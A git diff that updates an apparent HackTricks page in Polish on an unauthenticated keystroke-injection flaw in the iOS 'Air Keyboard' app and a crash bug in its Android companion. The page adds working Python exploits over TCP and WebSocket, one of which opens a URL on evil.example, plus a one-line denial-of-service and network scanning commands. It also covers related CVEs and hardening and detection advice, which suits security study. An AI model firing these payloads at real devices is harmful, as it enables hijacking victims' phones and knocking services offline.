diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index e8e7fc56e..7f92dab04 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,19 +1,25 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera **usługę TCP w czystym tekście na porcie 8888**, która akceptuje ramki naciśnięć klawiszy **bez żadnej autoryzacji**. -Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając **pełne przejęcie zdalnej interakcji**. +Wersja iOS komercyjnej aplikacji **“Air Keyboard”** (ID w App Store 6463187929) udostępnia usługę w lokalnej sieci, która **akceptuje ramki naciśnięć klawiszy bez jakiejkolwiek autoryzacji lub weryfikacji pochodzenia**. W zależności od zainstalowanej wersji, usługa jest: -Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne uzgadnianie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**). +* **≤ 1.0.4** – surowy nasłuch TCP na **porcie 8888**, który oczekuje nagłówka długości 2 bajtów, po którym następuje *device-id* i ładunek ASCII. +* **≥ 1.0.5 (czerwiec 2025)** – nasłuch **WebSocket** na *tym samym* porcie (**8888**), który analizuje klucze **JSON** takie jak `{"type":1,"text":"…"}`. + +Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem **wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie interakcji zdalnej**. Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują **nieobsługiwany wyjątek w OpenSSL**, powodując awarię usługi w tle (**DoS**). + +> Luka jest **nadal niezałatana w momencie pisania (lipiec 2025)**, a aplikacja pozostaje dostępna w App Store. + +--- ## 1. Odkrywanie usługi Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -21,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Format ramki (iOS) +Na **jailbroken iOS** możesz zrobić coś podobnego do `lsof -i -nP | grep LISTEN | grep 8888`. -Binarna zawartość ujawnia następującą logikę analizy wewnątrz rutyny `handleInputFrame()`: +--- + +## 2. Szczegóły protokołu (iOS) + +### 2.1 Legacy (≤ 1.0.4) – niestandardowe ramki binarne ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -Zadeklarowana długość obejmuje bajt `device_id` **ale nie** sam nagłówek o długości dwóch bajtów. +Zadeklarowana *długość* obejmuje bajt `device_id` **ale nie** sam nagłówek o długości dwóch bajtów. -## 3. Exploitation PoC +### 2.2 Aktualna (≥ 1.0.5) – JSON przez WebSocket + +Wersja 1.0.5 cicho przeszła na WebSockety, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +Brak handshake, tokenu ani podpisu – pierwszy obiekt JSON już wyzwala zdarzenie UI. + +--- + +## 3. Wykorzystanie PoC + +### 3.1 Celowanie ≤ 1.0.4 (surowy TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutecznie daje atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp. +### 3.2 Targetowanie ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*Każdy drukowalny ASCII — w tym znaki nowej linii, tabulatory i większość klawiszy specjalnych — może być wysyłany, dając atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości, otwieranie złośliwych URL-i, przełączanie ustawień itp.* + +--- ## 4. Android Companion – Denial-of-Service -Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, a następnie losowego nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony. +Port Androida (55535) oczekuje **hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarczy, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Przyczyna +--- -1. **Brak kontroli pochodzenia / integralności** przychodzących ramek (iOS). -2. **Niewłaściwe użycie kryptografii** (statyczny klucz, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android). +## 5. Powiązane aplikacje – powracający antywzorzec -## 6. Środki zaradcze i pomysły na wzmocnienie +Air Keyboard to **nie jest odosobniony przypadek**. Inne mobilne narzędzia „zdalna klawiatura/mysz” mają ten sam błąd: -* Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym. -* Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych. -* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnianego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania. -* Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (`netstat`, `lsof`, `frida-trace` na `socket()` itd.). -* Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi. +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 pozwala na nieautoryzowane wykonywanie poleceń i rejestrowanie klawiszy w postaci tekstu jawnego. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nieautoryzowane RCE i podsłuchiwanie ruchu. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek tekstu jawnego. -## Arkusz oszustw wykrywania (Pentesterzy) +Te przypadki podkreślają systemowe zaniedbanie **powierzchni ataku skierowanych na sieć w aplikacjach mobilnych**. + +--- + +## 6. Przyczyny + +1. **Brak kontroli pochodzenia / integralności** na przychodzących ramkach (iOS). +2. **Niewłaściwe użycie kryptografii** (klucz statyczny, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android). +3. **Uprawnienia do lokalnej sieci przyznane przez użytkownika ≠ bezpieczeństwo** – iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji. + +--- + +## 7. Wzmocnienia i środki obronne + +Zalecenia dla deweloperów: + +* Powiąż nasłuchiwacz z **`127.0.0.1`** i tuneluj przez **mTLS** lub **Noise XX**, jeśli potrzebna jest zdalna kontrola. +* Wyprowadzaj **sekrety per urządzenie podczas onboardingu** (np. kod QR lub PIN parowania) i wymuszaj *wzajemną* autoryzację przed przetwarzaniem danych wejściowych. +* Przyjmij **Apple Network Framework** z *NWListener* + TLS zamiast surowych gniazd. +* Wprowadź **sprawdzanie długości prefiksu** i strukturalną obsługę wyjątków podczas deszyfrowania lub dekodowania ramek. + +Szybkie wygrane dla zespołów Blue-/Red-Team: + +* **Polowanie w sieci:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` lub filtr Wireshark `tcp.port == 8888`. +* **Inspekcja w czasie rzeczywistym:** Skrypt Frida do podpinania `socket()`/`NWConnection`, aby wylistować nieoczekiwane nasłuchiwacze. +* **Raport prywatności aplikacji iOS (Ustawienia ▸ Prywatność i bezpieczeństwo ▸ Raport prywatności aplikacji)** podkreśla aplikacje, które kontaktują się z adresami LAN – przydatne do wykrywania niepożądanych usług. +* **Mobilne EDR-y** mogą dodać proste reguły Yara-L dla kluczy JSON `"selectionStart"`, `"selectionEnd"` wewnątrz ładunków TCP w postaci tekstu jawnego na porcie 8888. + +--- + +## Arkusz oszustw detekcyjnych (Pentesterzy) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## Odniesienia -- [Luka w zdalnym wstrzykiwaniu wejścia w aplikacji Air Keyboard na iOS wciąż niezałatana](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [Zalecenie CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}